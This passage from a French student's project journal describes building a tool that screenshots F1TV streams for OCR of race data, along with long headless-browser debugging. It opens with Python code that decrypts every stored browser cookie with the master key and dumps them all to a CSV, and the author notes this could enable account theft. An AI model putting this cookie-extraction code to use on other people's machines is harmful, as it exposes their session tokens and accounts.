\"Cookies file not found\" ) with sqlite3 . connect ( cookies_path ) as connection : connection . row_factory = sqlite3 . Row cursor = connection . cursor () cursor . execute ( \"SELECT * FROM cookies\" ) with open ( 'cookies.csv' , 'a' , newline = '' ) as csvfile : fieldnames = [ 'host_key' , 'name' , 'value' , 'path' , 'expires_utc' , 'is_secure' , 'is_httponly' ] writer = csv . DictWriter ( csvfile , fieldnames = fieldnames ) if csvfile . tell () == 0 : writer . writeheader () for row in cursor . fetchall (): decrypted_value = decrypt_password ( row [ \"encrypted_value\" ], master_key ) writer . writerow ({ 'host_key' : row [ \"host_key\" ], 'name' : row [ \"name\" ], 'value' : decrypted_value , 'path' : row [ \"path\" ], 'expires_utc' : row [ \"expires_utc\" ], 'is_secure' : row [ \"is_secure\" ], 'is_httponly' : row [ \"is_httponly\" ] }) print ( \"Finished CSV\" ) Ce programme va faire tout ce que j'ai expliqu\u00e9 et va ensuite stocker les r\u00e9sultats dans un CSV pour qu'il soit facile d'y acc\u00e8der depuis le C#. Alors oui cela pose certaines questions de s\u00e9curit\u00e9. Car en effet je prend tous les cookies, les d\u00e9code et les stocke. Ce qui veut dire que je pourrais tout \u00e0 fait envoyer ces donn\u00e9es quelque part, par exemple un compte Netflix, et me rincer. Si je devais rendre le projet ouvert au public je pense qu'il faudra que cela soit mentionn\u00e9 clairement et que le projet soit open source pour que les utilisateurs puissent verifier que je ne fais pas ca. Maintenant de l'autre c\u00f4t\u00e9 j'ai juste \u00e0 lire le CSV et le tour est jou\u00e9 ! (Trouver cette solution m'a pris une semaine de vacances \u00e0 l'\u00e9poque) Bon j'ai r\u00e9ussi \u00e0 faire le programme se connecter et naviguer etc.. Par contre quelque chose que j'ai voulu ajouter et qui m'a pris pas mal de temps c'est de faire en sorte de pouvoir selectionner la qualit\u00e9. Pour changer la qualit\u00e9 du feed il faut cliquer sur settings et ensuite prendre le menu deroulant et selectioner 1080p. Le soucis c'est le que la value du select est jamais la m\u00eame. Elle commence toujours pas \"1080_\" mais ensuite ca peut \u00eatre \"1080_45930285\" ou \"1080_56801\" la suite est apparemment random. J'ai donc du utiliser ce code pour le selectioner quand m\u00eame : IWebElement settingsButton = driver . FindElement ( By . ClassName ( \"bmpui-ui-settingstogglebutton\" )); settingsButton . Click (); IWebElement selectElement = driver . FindElement ( By . ClassName ( \"bmpui-ui-videoqualityselectbox\" )); SelectElement select = new SelectElement ( selectElement ); IWebElement selectOption = selectElement . FindElement ( By . CssSelector ( \"option[value^='1080_']\" )); selectOption . Click (); Sauf que pour que cela marche je dois avant cliquer sur le bouton des settings le probl\u00e8me c'est qu'il est invisible alors on doit le faire apparaitre. J'ai tent\u00e9 de le faire aparaitre en bougeant la souris, en cliquant \u00e0 un endroit pr\u00e9cis, impossible de le faire marcher correctement. Puis j'ai eu l'id\u00e9e de mettre pause en envoyant un appui sur la touche Espace et ca a permit de d\u00e9couvrir le bouton et permettre qu'on clique dessus. Ca peut paraitre tout b\u00eate mais rien que ca, ca m'a pris un temps consid\u00e9rable. Bon pour ce qui est du timecode de la vid\u00e9o. Je pense qu'il serait trop complexe de faire en sorte que selenium change le slider de progression de la vid\u00e9o. Alors j'ai fait quelques tests et apparemment, si on quitte la F1TV sur un timecode de la vid\u00e9o que on donne au programme, comme il r\u00e9cup\u00e8re tous les cookies de la F1TV il commencera de la. Donc si on veut utiliser le programme avec des Grand Prix ayant d\u00e9ja eu lieu, on peut le faire, seulement il faudra juste au pr\u00e9alable avoir choisit le bon timecode dans le page de la F1TV avant de le lancer. Ce qui est int\u00e9ressant c'est que la page de la F1TV ressemble \u00e0 ca au d\u00e9part : \"Empty F1TV\" Je pense qu'une bonne id\u00e9e serait de dire au programme que c'est la grille de d\u00e9part et ensuite d\u00e8s qu'il d\u00e9tecte un secteur il sait que la course a commenc\u00e9. Lundi 24 Avril 2023 Aujourd'hui c'est jour de documentation. J'ai pas mal travaill\u00e9 pendant les vacances mais je n'ai pas encore pu faire de vraie documentation correcte du fonctionnement. Du coup je vais m'en charger aujourd'hui et peut-\u00eatre un peu demain. Ok normalement je ne devrais faire que de la documentation mais je ne peux pas passer \u00e0 cot\u00e9 de ca... Le probl\u00e8me que j'ai avec les pneus ou parfois il d\u00e9tecte un H au lieu d'un '11' et ce genre de choses c'est \u00e0 cause de ma methode \"RemoveBG\" Qui va retirer tous les pixels plus sombres que le background. Sauf que cela va aussi retirer des pixels dans le chiffre lui m\u00eame et qui va donc defigurer les 11 : \"diformed 11\" \"diformed 11\" J'ai r\u00e9ussi \u00e0 les changer en : \"less diformed\" \"less diformed\" Mais au final cela n'a pas augment\u00e9 la pr\u00e9cision de la reconnaissance. Je pense que je vais donc devoir encore changer. Je pense que une bonne facon de trouver serait dabord de trouver la couleur du pneu. Et si il n'y a pas assez de couleur alors c'est que le pneu contient une lettre. Le but est d'arr\u00eater de chercher des lettres ou des chiffres. Comme ca les 11 arr\u00eateront d'\u00eatre pris pour des 'H' En fait on peut faire encore plus simple que ca. On peut simplement regarder la couleur dominante et determiner le pneu. En effet m\u00eame si il y a une lettre sur fond noir pour d\u00e9crire le pneu, mon methode de r\u00e9cup\u00e8ration de la couleur dominante ommet les pixels trop noirs alors il est quand m\u00eame possible de determiner le type de pneus. Et tout simplement si il n'arrive pas \u00e0 lire le chiffre c'est que c'est une lettre et que donc on est \u00e0 0 tours. Cela marche plut\u00f4t bien et cela simplifie pas mal le processing. Voila, la je vais me remettre \u00e0 la documentation sinon je vais encore prendre du retard. Mardi 25 Avril 2023 Encore une fois j'ai pris du temps de doc pour changer des choses sur la partie OCR. Mais en m\u00eame temps en documentant je vois des choses que j'ai soit mal fait soit que je pourrais faire mieux en changeant tr\u00e8s peu de choses. J'\u00e9sp\u00e8re que les changement que j'ai fait vont aider au moins \u00e0 la coh\u00e9rence du code et un peu pour les performances. Il semble que dans les conditions que j'ai test\u00e9 le nombre de tour soit plut\u00f4t fiable mais je pense que je devrai faire un peu de travail en aval dans la r\u00e9cup\u00e9ration de ces donn\u00e9es car je sens que cela va poser probl\u00e8me quelques fois. Je pense que en utilisant bien l'historique on peut potentiellement se passer de l'utilisation de ce chiffre pas toujours compl\u00eatement fiable. Mais sinon aujourd'hui c'est encore une fois un gros jour de doc. J'essaie d'expliquer les diff\u00e9rents proc\u00e9d\u00e9s avant de les oublier. J'essaie aussi de donner un maximum d'exemples sous formes de photos interm\u00e9diaires mais ca me prend pas mal de temps car il faut que j'ajoute un peu partout dans le code des lignes pour sortir des images interm\u00e9diaires. En plus de la documentation je me suis aussi beaucoup occup\u00e9 de nettoyer mon code et je suis assez content par ce que m\u00eame en ayant du rajouter des couches de complexit\u00e9 pour mieux reconnaitres les temps au tour j'arrive \u00e0 un temps de processing parfois en dessous des 2 secondes ce que je trouve honorable. Quand j'aurai finit de nettoyer tous mes fichiers je ferai une release sur gitea et ce sera la version que j'utiliserai quand je voudrai faire un merge avec les autres parties du projet. J'ai beaucoup beaucoup boss\u00e9 aujourd'hui et je sui bien mort. Faire autant de documentation et de nettoyage de code c'est pas forc\u00e9ment bon pour le cerveau je crois. J'ai besoin d'une sieste. Demain je pense que je vais commencer \u00e0 avancer sur la partie r\u00e9cup\u00e8ration des images. Je sais que la je fais un peu passer les tests \u00e0 la trappe mais d\u00e9ja j'en ai fait tout le long du d\u00e9veloppement de OCR_DECODE et il faut vraiment que j'avance, quitte \u00e0 revenir dessus quand j'aurai merge les deux projets ensemble. 26 Avril 2023 Aujourd'hui je vais devoir m'occuper de la partie r\u00e9cup\u00e9ration des images. J'ai d\u00e9ja eu l'occasion d'avancer sur ce projet pendant mopn poc et mes vacances. Donc la le but ca va \u00eatre de voir ce qui manque comme v\u00e9ritables features et ensuite je vais pouvoir m'occuper de la vue et de son int\u00e9gration avec le d\u00e9codage. Ok donc maintenant que j'au un programme qui arrive \u00e0 prendre des images depuis la F1TV correctement et en bonne r\u00e9solution. Je pense qu'il est temps de passer \u00e0 l'impl\u00e9mentation de la Forme que ca va prendre. C'est important de se poser au moins cinq minutes la question de comment je pr\u00e9vois de faire car m\u00eame si ca n'est pas la version finale, cette derni\u00e8re prendra tr\u00e8s fort inspiration du desing que je vais faire. Dans cette form j'aurais besoin de : Pouvoir selectionner un Grand Prix en ins\u00e8rant l'URL du feed. Pouvoir lancer la calibration si besoin Indiquer le titre et la date du Grand Prix Indiquer si le Grand Prix vient de commencer ou si il y a d\u00e9ja un certain nombre de tours lanc\u00e9s. Et c'est \u00e0 peu pr\u00e8s tout en fait... J'ai tellement pouss\u00e9 pour avoir un programme qui fait tout tout seul que il ne me faut pas grand chose de plus. Je pense que ce qui serait pas mal ca serait du coup d'utiliser ce temps pour bien impl\u00e9menter la calibration qui elle aura besoin d'une UI un peu plus bal\u00e8ze. On pourrait m\u00eame imaginer que la calibration fasse partie int\u00e9grante des settings... Ca serait peut-\u00eatre bien que quand l'application se lance on se retrouve sur la page principale d'affichage de donn\u00e9es et qu'on puisse simplement cliquer sur la page options qui contient la page calibration et qui permet de rentrer les infos du Grand Prix. Je pense que je vais faire ca. Voici l'interface que j'ai d\u00e9velopp\u00e9e pour regrouper tout ca : \"Screen\" La police le style le placement et les couleurs ne sont pas d\u00e9finitfs, cependant je pense que c'est un bon d\u00e9but. Le but maintenant va \u00eatre de permettre de faire fonctionner la calibration et la r\u00e9cup\u00e8ration d'images. Si j'arrive \u00e0 faire fonctionner ces deux choses sur un m\u00eame projet avant la fin de la semaine cela serait super ! Bon J'ai pu avancer sur l'int\u00e8gration de Selenium mais cela prend un peu de temps car je veux impl\u00e9metner un moyen de pouvoir prendre une Screenshot \u00e0 nimporte quel moment et pas juste en boucle. Demain je finis de faire fonctionner ca et ensuite je commence le cablage du reste. Jeudi 27 Avril 2023 C'est assez dur de faire l'importation car il y a des petites diff\u00e9rences qui obligent \u00e0 presque tout r\u00e9\u00e9crire. En fait le programme de calibration avait d\u00e9ja impl\u00e9ment\u00e9 la fonction de Windows et de Zones mais il fonctionnait juste assez diff\u00e9remment pour qu'il faille tout refaire. La je suis en train de perdre \u00e9norm\u00e9ment de temps \u00e0 cause d'un soucis de coordonn\u00e9es. J'ai repris le code de la calibration pour detecter ou l'utilisateur a cliqu\u00e9 pour cr\u00e9er les zones. Cependant, je n'arrive pas \u00e0 le faire fonctionner correctement. La zone est tout le temps d\u00e9cal\u00e9e en haut et en bas mais pas de la m\u00eame facon. En haut, la valeur Y est trop grande alors que en bas la valeur Y est trop petite... Je ne comprends pas bien pourquoi. Si c'\u00e9tait un simple d\u00e9calage cela ne serait pas compliqu\u00e9 \u00e0 g\u00e8rer mais la... J'ai un soucis \u00e9galement avec la r\u00e9solution des screenshots que je r\u00e9cup\u00e8re en full Headless. Voici un exemple de r\u00e9solution que j'arrive \u00e0 r\u00e9cup\u00e8rer sans le headless : \"High Res\" \"Low Res\" Il y a clairement un soucis et le probl\u00e8me c'est que avec une r\u00e9solution pareille, impossible de faire une reconnaissance correcte. BON J?EN PEUX PLUS LA. Ca fait des heures que je bosse sur ce probl\u00e8me d\u00e9bile et impossible de trouver une solution. J'ai essay\u00e9 cinq facons de forcer le browser headless a prendre une plus haute r\u00e9solution aucune ne fonctionne je ne comprends pas. A chaque fois que je me retrouve avec une r\u00e9solution de 1366 x 768 Ou une variante de basse r\u00e9solution du style. J'en peux plus je ne trouve aucune r\u00e9ponse sur internet ni m\u00eame avec chatGPT. Super... La seule chose que j'ai pu faire qui change quelque chose fait que les images font maintenant du 926x517... j'ai un peu envie de commentre un crime de guerre au plus vite. Vendredi 28 Avril 2023 Une des solutions que je n'ai pas encore essay\u00e9 est de changer ma version de GeckoDriver. Sauf que ca m'oblige \u00e0 changer les versions de mes libraries ce qui est tr\u00e8s p\u00e9nible, je vais continuer le debugging dans le projet Selenium_clean. Il faut savoir que la librairie de Selenium que j'utilise est bloqu\u00e9e en 0.27 ce qui fait que je ne peux utiliser qu'une version obsol\u00e8te du Gecko Driver. J'ai tent\u00e9 de changer vers une version en 64 bits du GeckoDriver 0.27 mais pareil, je me retrouve toujours avec des images de M. J'essaie toutes les solutions que je trouve sur internet aucune ne convient c'est infernal. J'essaie de changer la r\u00e9solution DPI, j'essaie de changer les param\u00eatres par d\u00e9faut des player de Firefox, j'essaie de changer la r\u00e9solution pendant et au d\u00e9but de l'execution IMPOSSIBLE DE FAIRE MARCHER CETTE MERDE C'EST PAS POSSIBLE !!! J'ai essay\u00e9 avec chrome mais je ne peux pas l'utiliser car les DRM m'emp\u00eacheront de prendre des screenshot du flux vid\u00e9o. J'ai essay\u00e9 de faire tourner avec edge mais edge ne peut pas tourner en headless. JE VAIS DEVENIR FOUF FPWQOVMQEKOVNVIBDBJDAIVOBI. ET MAINTENANT JE N'ARRIVE PLUS A FAIRE DE PROJET AVEC SELENIUM VOIWQNV(UEWQBVU)WEQN=OEJNIVIUWVBWUEV ON CHERCHE A ME FAIRE PETER UN PLOMB C'EST PAS POSSIBLE GIWEGUWEQN VOICI UN EXEMPLE DU CODE QUE JE DEMANDE A UN NOUVEAU PROJET AVEC EXACTEMENT LES MEMES LIBRARIES INSTALLEES : // Create a new FirefoxDriver instance IWebDriver driver = new FirefoxDriver (); // Navigate to the specified URL driver . Navigate (). GoToUrl ( \"https://www.example.com\" ); // Do something with the driver (e.g., find elements or take screenshots) // Quit the driver driver . Quit (); Je ne demande que ca ET MEME CA CA NE VEUT PAS FONCTIONNER VOIWENB)IWUQENV Oui je suis un peu \u00e9nerv\u00e9 ca se voit? A bon? Et maintenant NUGGET ne fonctionne plus... j'en peux plus la. Je ne peux plus t\u00e9l\u00e9charger de librairie sur aucun de mes projets... J'ai tent\u00e9 de supprimer le fichier de config et red\u00e9marrer Visual Studio mais cela ne fait rien. J'ai aussi tent\u00e9 de faire un 'nugget restore' toujours rien. Bon apparemment je ne suis pas le seul qui ne peut pas acc\u00e8der \u00e0 Nuget donc bon c'est pas juste chez moi qu'il y a un soucis. Mais m\u00eame en mettant ma 4G pour me connecter, je n'arrive pas \u00e0 acc\u00e8der \u00e0 certains sites y compris Nuget et je ne peux pas download de librairies... Je ne comprends pas ce qui se passe et du coup je ne peux juste pas bosser... J'ai red\u00e9marr\u00e9 trois fois mon pc et visual studio, j'ai essay\u00e9 de changer mes settings DNS etc... impossible de bosser. Je crois que je n'aurais pas du me reveiller aujourd'hui. Bon je vais tenter d'avancer sur mon poster en attendant que le r\u00e9seau soit en meilleur \u00e9tat. Lundi 1 Mai 2023 Bon je bosse depuis chez moi donc j'esp\u00e8re que Nuget va mieux fonctionner. Apr\u00e8s un weekend \u00e0 r\u00e9fl\u00e9chir au sujet de cette resolution je me suis dit deux choses. La seule personne sur internet que j'ai vu avoir le meme soucis avait une r\u00e9solution de 1920x1200 comme moi. Cela veut donc s\u00fbrement dire que le soucis vient de cette r\u00e9solution de laptop comme moi. Si vraiment je n'arrive pas dans un premier temps \u00e0 faire fonctionner le Headless correctement, je peux toujours laisser la page de c\u00f4t\u00e9 et m'occuper du reste du programme. Certes ca serait vraiment infernal d'avoir \u00e0 garder une page chrome ouvert en tous temps et en plus elle doit \u00eatre en plein \u00e9cran mais bon... Si il n'y a vraiment pas d'autres solutions malheureusement je serai bien oblig\u00e9. BON ! JE N'ARRIVE MEME PLUS A FAIRE UN PROJET QUI UTILISE SELENIUM ET QUI MARCHE JE VAIS FAIRE BR\u00dbLER GENEVE. C'est pas possible serieux, je ne comprends pas j'essaie tout ce que je trouve et impossible de juste lancer firefox c'est du grand nimporte quoi. Je prend les m\u00eame putain de librairies que sur les autres projets les m\u00eames versions, je prend le m\u00eame exact code. Sur le nouveau projet impossible de le faire fonctionner. Je commence \u00e0 croire que on essaie de me faire p\u00eater un cable. Du coup dans un \u00e9lan de d\u00e9sespoir je vais tenter de passer sur une autre librairie qui avec un peu de chance marche et en plus me permettrais de prendre des foutues screenshot dans le bon format. Les deux seules librairies qui pourraient potentiellement faire l'affaire sont les librairies : PhantomJS CefSharp Je vais les tester et simplement prier pour qu'elles fonctionnent et que je puisse faire ce que je veux avec. Alors pour le moment avec CEFSharp j'arrive \u00e0 lancer une instance de chrome et prendre une screenshot avec ce code : CefSettings settings = new CefSettings (); settings . CachePath = Path . Combine ( Environment . GetFolderPath ( Environment . SpecialFolder . LocalApplicationData ), \"CefSharp\\\\Cache\" ); // Set cache path settings . LogSeverity = LogSeverity . Disable ; // Disable logging Cef . Initialize ( settings ); // Initialize CEF using ( var browser = new ChromiumWebBrowser ( \"www.google.com\" , new BrowserSettings ())) // Launch Chromium in off-screen mode { browser . Load ( \"https://www.example.com\" ); // Navigate to the test URL browser . Size = new Size ( 1920 , 1080 ); // Set the browser size to 1920x1080 browser . ScreenshotAsync (). ContinueWith ( task => { var bitmap = task . Result ; bitmap . Save ( \"screenshot.png\" , System . Drawing . Imaging . ImageFormat . Png ); // Take a screenshot and save it as a PNG file }). Wait (); } Cef . Shutdown (); // Shutdown CEF Avec ca il faut ces using : using System ; using System.Drawing ; using System.IO ; using CefSharp ; using CefSharp.OffScreen ; C'est assez prometteur m\u00eame si il faut encore beaucoup pour remplacer selenium. Ah bah lol en fait non on peut pas utiliser cette librarie pour faire tourner firefox... J'EN AI MARRE J'AVAIS CHERCHE PRECISEMENT UNE LIB QUI MARCHE AVEC FIREFOX Et phantomJS non plus ne fonctionne pas avec firefox... J'en ai marre. Donc je vais plut\u00f4t partir sur la librairie GeckoFX qui semble pouvoir contr\u00f4ler une instance de firefox. Mais j'avais justement pris un putain de projet C# et pas JS pour ne pas me taper ces probl\u00e8mes de librairies... Et si cette option ne fonctionne pas mon dernier espoir sera de directement int\u00e9ragir avec le geckodriver.exe et la ca risque de pas \u00eatre dr\u00f4le. JE NE COMPRENDS RIEN !!!!! Ca n'a aucun sens la doc est inexistante le seul lien qui pourrait amener sur une doc envoie sur la page principale de bitbucket. Tous les exemples de code que je trouve ne fonctionnent pas. Je n'arrive \u00e0 rien je commence \u00e0 devenir fou. Tout ce travail pour rien c'est pas possible. M\u00eame en essayant directement d'int\u00e9ragir avec le process geckodriver.exe je ne peux pas arriver \u00e0 mes fins. J'arrive \u00e0 lancer le service et tout, mais je n'arrive pas \u00e0 vraiment contr\u00f4ler ce qu'il se passe donc impossible de venir prendre des screenshot. Je ne sais tout simplement pas quoi faire ... Je suis bloqu\u00e9. Je me suis cass\u00e9 la t\u00eate \u00e0 faire un truc qui marchait bien avec selenium et tout. Mais maintenant plus rien ne fonctionne du jour au lendemain et il n'y a simplement aucune alternative. Je vais essayer de changer directement le projet Selenium_Clean mais bon ca va pas \u00eatre dr\u00f4le. Ok alors j'ai tout repris depuis le d\u00e9but et je crois que j'ai enfin une solution. Pour la trouver j'ai re-essay\u00e9 toutes les techniques que j'avais tent\u00e9 avant mais dans l'ordre et en les isolant \u00e0 chaque fois. Cela inclus : Tenter de changer la densit\u00e9 de pixels. En effet je me suis dit que comme la r\u00e9solution \u00e9tait plus basse le soucis \u00e9tait que le virtual screen avait simplement une DPI r\u00e9duite. profile.SetPreference(\"layout.css.devPixelsPerPx\", \"2.0\"); J'ai aussi tent\u00e9 de r\u00e9duire \u00e0 un seule le nombre de process de Firefox. J'ai pu lire sur internet que parfois cela pouvait influer sur les performances du renderer. profile.SetPreference(\"dom.ipc.processCount\", 1); Ensuite j'ai tent\u00e9 tout b\u00eatement de rajouter dans la liste des arguments la taille voulue de l'\u00e9cran. options.AddArgument(\"--window-size=1920,1080\"); Mais comme cela ne foncionnait pas, je me suis rabattu sur un script JS pour tenter de forcer la fen\u00eatre \u00e0 \u00eatre plus grande. js.ExecuteScript(\"window.resizeTo(1920, 1080);\"); Comme cela n'a pas march\u00e9 j'ai pu lire que cela pouvait \u00eatre la taille int\u00e9rieure qui devait \u00eatre chang\u00e9e js.ExecuteScript(\"window.innerWidth = 1920; window.innerHeight = 1080;\"); Encore une fois sans succ\u00e8s. J'ai ensuite tent\u00e9 d'utiliser trois autres versions du GeckoDriver, 0.27,0.26,0.25 et aucune ne m'aidait. Mais en fait la seule chose qui a chang\u00e9 quoi que ce soit \u00e9tait la technique suivante : Changer la window size en utilisant : options . AddArgument ( \"--width=1920\" ); options . AddArgument ( \"--height=1200\" ); Ca ne marchait pas car j'utilisais une autre methode pour resize en m\u00eame temps, qui elle ne marchait pas mais qui emp\u00eachait celle la de marcher. Ensuite le soucis que j'avais c'est que en mettant 1920-1080 je me retrouvais avec 1920-998 ou un truc du genre ce qui n'\u00e9tait pas normal alors je me disais que cette technique ne marchait pas non plus et je l'ai pass\u00e9e. Alors tout n'est pas encore gagn\u00e9, il faut que j'arrive \u00e0 impl\u00e9menter ca dans un plus gros projet et que la vid\u00e9o puisse \u00eatre prise seule. Demain je m'occupe de ca. Mardi 2 Mai 2023 Bon aujourd'hui je change le programme principal. Le soucis que j'ai c'est que en ajoutant ce syst\u00e8me de resize, maintenant la page fait 100x100 et est grise. Il doit y avoir une technique que j'ai oubli\u00e9 de retirer ou un comportement un peu bizarrre. Bon clairement je ne sais pas QUI DECIDE DE ME POURRIR LA VIE mais il est fort. J'ai t\u00e9l\u00e9charger EXACTEMENT les m\u00eames librairies que sur mon autre projet et j'utilise l'EXACT m\u00eame geckodriver.exe mais dans le projet principal impossible de lui faire chier une image m\u00eame avec l'EXACT m\u00eame code. POURQUOI VOUS ME FAITES CA????= La je ne comprend vraiment pas ce qui peut se passer pour que rien ne fonctionne alors que tout est pareil. JE VIENS DE TOUT VERIFIER TOUT EST PAREIL JE NE COMPRENDS PAS. Bon apr\u00e8s avoir supprim\u00e9 l'int\u00e9gralit\u00e9 de ma classe Emulator cela semble marcher un peu mieux. Je ne vais pas m'\u00e9tendre sur la castrophe niveau temps que cela repr\u00e9sente. Si au moins j'arrive \u00e0 faire fonctionner quelque chose je suis content. Maintenant j'ai un soucis un peu sp\u00e9cial. Depuis que j'ai chang\u00e9 la r\u00e9solution, il semble que le programme aie du mal \u00e0 cliquer sur l'icone de settings. En prenant des screenshots du moment ou l'erreur apparait, j'ai pu me rendre compte que en fait le stream est toujours en train de charger et c'est pour ca que on arrive pas \u00e0 trouver le bouton : \"ERROR 105\" \"ERROR 105\" Je pense que je n'ai le soucis que maintenant car le flux en 1080p se lance moins vite. Je vais essayer de voir si je peux detecter un \u00e9l\u00e9ment d'HTML qui correspond au loading comme ca je peux attendre qu'il disparaisse. Sinon je peux aussi juste essayer de trouver le bouton en boucle pendant une dixaine de secondes. Bon la j'essaie pendant genre plus de 50 secondes et ca ne marche toujours pas. Il semblerait que au final le probl\u00e8me vienne du GP d'azerbidjan. En effet, quand je teste un autre Grand Prix tout va bien. ET MERDE ! J'ai r\u00e9ussi \u00e0 avoir des images en 1080P mais d\u00e9s que je passe l'image en plein \u00e9cran c'est de nouveau du 1366X768 Avant de mettre en plein \u00e9cran: \"Before fullscreen\" Apr\u00e8s: \"After fullscreen\" On peut voir sur l'image que l'option 1080P est effectivement bien selectionn\u00e9e mais il doit y avoir un param\u00e8tre de Firefox qui s'occupe de la r\u00e9solution d'un player vid\u00e9o. Il va juste falloir trouver ce param\u00eatre... J'ai essay\u00e9 d'utiliser : Driver.Manage().Window.Size = new System.Drawing.Size(windowWidth, windowHeight); Sans succ\u00e8s. options.AddArgument(\"--start-maximized\"); Pareil Driver.Manage().Window.Maximize(); Toujours rien profile.SetPreference(\"full-screen-api.ignore-widgets\", true); Nada profile.SetPreference(\"media.hardware-video-decoding.enabled\", true); Toujours pas J'ai vraiment cru que j'avais trouv\u00e9 la solution en trouvant cette commande profile.SetPreference(\"full-screen-api.enabled\", true); Mais non toujours pas... Je commence \u00e0 perdre patience. C'EST BON. Apr\u00e8s litt\u00e9rallement 3h de debugging avec M.Bonvin (Que je remercie IMMENSEMENT) on a r\u00e9ussi \u00e0 trouver au fin fond d'un thread github que la valeur \u00e9tait hard cod\u00e9e dans les variables d'environnement et que donc quoi que je fasse je n'aurais pas pu le changer. En fait la seul moyen de tout r\u00e8gler a \u00e9t\u00e9 de changer les variables d'environnement de ma machine: MOZ_HEADLESS_WIDTH et MOZ_HEADLESS_HEIGHT . Et ce qu'il y a de bien c'est que maintenant je peux mettre de la 4K et cela permet de faire un meilleur upscaling. Recrutement Payerne Mai 2023 J'ai du faire mon recrutement \u00e0 Payerne Mercredi et Jeudi. Si vous \u00eates curieux je peux vous dire que comme il n'y avait presque plus de places cet \u00e9t\u00e9 je ferai Canonnier Lance mines. C'\u00e9tait assez frustrant d'avoir perdu deux jours de travail mais on va faire avec. Vendredi 5 Mai 2023 Bon malgr\u00e9s les courbatures il faut que je me mette au boulot un peu serieusement par ce que sinon ca va \u00eatre compliqu\u00e9 de rattraper mon retard. La derni\u00e8re fois si je me souviens bien j'avais r\u00e9ussi \u00e0 trouver un moyen de prendres des images en bonne r\u00e9solution. Il faut maintenant que je commence \u00e0 faire fonctionner la calibration et ce qui serait bien ca serait que je commence \u00e0 ajouter la partie OCR au projet. Il faut que je me d\u00e9p\u00eache car Lundi je dois m'occuper du Poster. OK j'ai compris le soucis que j'avais quand j'essayais de faire la calibration. J'avais mis l'image en ZOOM ce qui fait que si la hauteur n'\u00e9tait pas la bonne, l'image \u00e9tait recentr\u00e9e ce qui fait que cela faussait totalement les r\u00e9sultats. Quand on fait en sorte que l'image prenne toute la place, les coordonn\u00e9es sont prises correctement. Voici un exemple d'ou en est la partie calibration. \"Exemple settings UI\" Normalement il me suffit d'impl\u00e9menter les windows, et on devrait relativement facilement ajouter les pilotes. Et voila. J'ai pu impl\u00e9menter les windows et les pilotes. Et je peux aussi exporter des presets et les loader. Bon le loading est un peu beugg\u00e9 au niveau de l'affichage mais il semble qu'il fonctionne bien quand je save les images. Lundi je m'occupe du poster etc.. mais je pense que la suite va \u00eatre l'impl\u00e9mentation de l'OCR. Lundi 8 Mai 2023 Aujourd'hui c'est journ\u00e9e Poster. Je pense que je ne vais pas finir la journ\u00e9e content car les limitations sont un peu trop pr\u00e9sentes. J'ai fait une version que Garcia pourrait accepter, c'est \u00e0 dire en noir et blanc et avec un tout petit peu plus de d\u00e9tail. \"Poster V3\" Le truc c'est que en blanc je trouve que ca ne marche pas super. Et le concept d'avoir trois parties au projet qui se posent autour d'un circuit c'est peut-\u00eatre pas la meilleure id\u00e9e. Je me suis dit que la bonne id\u00e9e serait peut-\u00eatre de prendre un autre circuit pour qu'il y aie bien trois parties : \"Poster V4\" Clairement ce poster doit faire partie des pires. C'est pas clair et ca part dans tous les sens. Je vais essayer avec un autre layout de circuit. \"Poster V5\" Je me suis ensuite dit que le circuit n'\u00e9tait peut \u00eatre tout simplement pas une bonne id\u00e9e. J'ai donc essay\u00e9 de faire quelque chose de plus classique avec juste un peu de background pour qu'on puisse \u00e9viter le soucis de la page blanche derri\u00e8re : \"Poster V6\" Puis je me suis dit que finalement le circuit me manquait. Alors j'ai d\u00e9cid\u00e9 de combiner le background et le circuit ainsi que simplifier l\u00e9g\u00e8rement les diagrammes en retouchant un peu tout le reste on pouvait arriver \u00e0 quelque chose de sympatique : \"Poster V7\" Je ne suis pas content \u00e0 100% mais bon je pense que je vais m'en satisfaire. Pour donner une id\u00e9e de la gal\u00e8re que c'est de cr\u00e9er un poster, voici ce \u00e0 quoi ressemble mon espace de travail Figma : \"Bordel Figma\" Je ne suis pas un graphiste et ca se voit '^^. Je pense que comme il me reste un peu de temps aujourd'hui, je vais faire un peu de documentation de la partie r\u00e9cup\u00e8ration d'images. En effet, je pense que je n'aurai plus besoin de changer grand chose \u00e0 ce niveau. Mais je ne ferai pas la partie analyse fonctionnelle car l'interface n'est clairement pas termin\u00e9e. En fait j'avais oubli\u00e9 mais j'ai eu un rendez vous m\u00e9dical du coup je n'ai pas eu trop le temps de faire la doc que je voulais. Mais au moins je pense avoir finit mon travail sur le poster et le abstract en Anglais qui sont les deux gros livrables \u00e0 venir. Mardi 9 Mai 2023 Bon je viens de me rendre compte que apparemment on doit rendre l'abstract anglais, le Poster, ET LE PROJET. Je pense que mes deux jours \u00e0 l'arm\u00e9e m'ont fait perdre un peu la notion du temps car j'avais l'impression que l'evaluation interm\u00e9diaire 1 \u00e9tait il y a genre moins d'une semaine. Donc aujourd'hui je ne vais pas trop avancer sur le code et vraiment me focus sur la documentation de la r\u00e9cup\u00e8ration d'images. Je pense que je vais aussi ajouter la partie calibration \u00e0 la documentation. Je pense que c'est important que je prenne le temps maintenant car sinon le prof aura l'impression que ca n'a pas trop avanc\u00e9 depuis la derni\u00e8re fois. Et puis je pense que la partie calibration et r\u00e9cup\u00e8ration d'images ne va pas trop changer et la partie calibration encore moins. La partie anglaise je fais la revoir un peu mais je l'avais d\u00e9ja faite pendant les premiers jours alors ca devrait aller. Pour le rendu il nous \u00e9tait demand\u00e9 de fournir un fichier PDF avec tout dedans avec une table des mati\u00e8res notre code source etc... Pour ce faire j'ai du changer le mkdocs.yml et installer des packages. Voici les changements :: site_name: Documentation Track Trends site_author: Rohmer Maxime copyright: \u00a9CFPTI Tech2 theme: name: material palette: # Palette toggle for light mode - media: \"(prefers-color-scheme: light)\" scheme: default toggle: icon: material/brightness-7 name: Switch to dark mode # Palette toggle for dark mode - media: \"(prefers-color-scheme: dark)\" scheme: slate toggle: icon: material/brightness-4 name: Switch to light mode markdown_extensions: - attr_list - md_in_html - pymdownx.highlight plugins: - glightbox - search - img2fig - with-pdf: cover_subtitle: Vroum Vroum enabled_if_env: ENABLE_PDF_EXPORT - annexes-integration: annexes: # Required (at least 1) - ConfigurationTool.cs: Code/ConfigurationTool.cs # An path to an annex with its title - DriverGapToLeaderWindow.cs: Code/DriverGapToLeaderWindow.cs # An path to an annex with its title - DriverPositionWindow.cs: Code/DriverPositionWindow.cs # An path to an annex with its title - F1TVEmulator.cs: Code/F1TVEmulator.cs # An path to an annex with its title - Program.cs: Code/Program.cs # An path to an annex with its title - 